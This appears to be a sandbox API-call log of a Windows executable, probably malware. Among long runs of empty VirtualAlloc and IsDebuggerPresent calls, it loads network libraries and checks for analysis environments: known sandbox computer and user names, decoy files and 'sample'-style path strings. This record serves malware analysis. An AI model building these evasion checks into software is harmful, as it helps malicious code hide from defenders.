[0064.974] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.975] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.976] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.977] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.978] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.979] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0064.980] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.156] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0065.165] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0065.176] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0065.176] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0065.176] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0065.176] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0065.176] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0065.176] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0065.176] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0065.342] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0065.343] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0065.343] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0065.343] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0065.343] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0065.343] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0065.343] LoadLibraryA (lpLibFileName="winhttp.dll") returned 0x6f600000
[0065.343] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x75ce0000
[0065.343] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x771e0000
[0065.343] GetUserNameA (in: lpBuffer=0x12fc9c, pcbBuffer=0x12fa98 | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x12fa98) returned 1
[0065.345] GetComputerNameA (in: lpBuffer=0x12fb9c, nSize=0x12fa98 | out: lpBuffer="ZJEWV7F", nSize=0x12fa98) returned 1
[0065.346] GetComputerNameExA (in: NameType=0x1, lpBuffer=0x12fa9c, nSize=0x12fa98 | out: lpBuffer="ZjEwV7f", nSize=0x12fa98) returned 1
[0065.346] lstrcmpA (lpString1="ZJEWV7F", lpString2="TEQUILABOOMBOOM") returned 1
[0065.347] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="Wilbert") returned -1
[0065.347] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="admin") returned 1
[0065.347] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="admin") returned 1
[0065.347] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="John Doe") returned -1
[0065.347] lstrcmpA (lpString1="ATVeyDl98Z", lpString2="John") returned -1
[0065.347] CreateFileA (lpFileName="C:\\email.doc" (normalized: "c:\\email.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0065.347] CloseHandle (hObject=0xffffffff) returned 0
[0065.347] CreateFileA (lpFileName="C:\\a\\foobar.bmp" (normalized: "c:\\a\\foobar.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0065.348] CloseHandle (hObject=0xffffffff) returned 0
[0065.348] GetModuleHandleA (lpModuleName=0x0) returned 0x400000
[0065.348] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x12fcb0, nSize=0x103 | out: lpFilename="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\viewcom.exe")) returned 0x3f
[0065.348] StrStrIA (lpFirst="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", lpSrch="sample") returned 0x0
[0065.348] StrStrIA (lpFirst="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", lpSrch="mlwr_smpl") returned 0x0
[0065.348] StrStrIA (lpFirst="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", lpSrch="artifact.exe") returned 0x0
[0065.348] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.348] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] IsDebuggerPresent () returned 0
[0065.349] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.350] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.351] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] IsDebuggerPresent () returned 0
[0065.352] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.352] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.353] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.354] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] IsDebuggerPresent () returned 0
[0065.355] VirtualAlloc (lpAddress=0x0, dwSize=0x0, flAllocationType=0x0, flProtect=0x0) returned 0x0
[0065.355] IsDebuggerPresent () returned 0
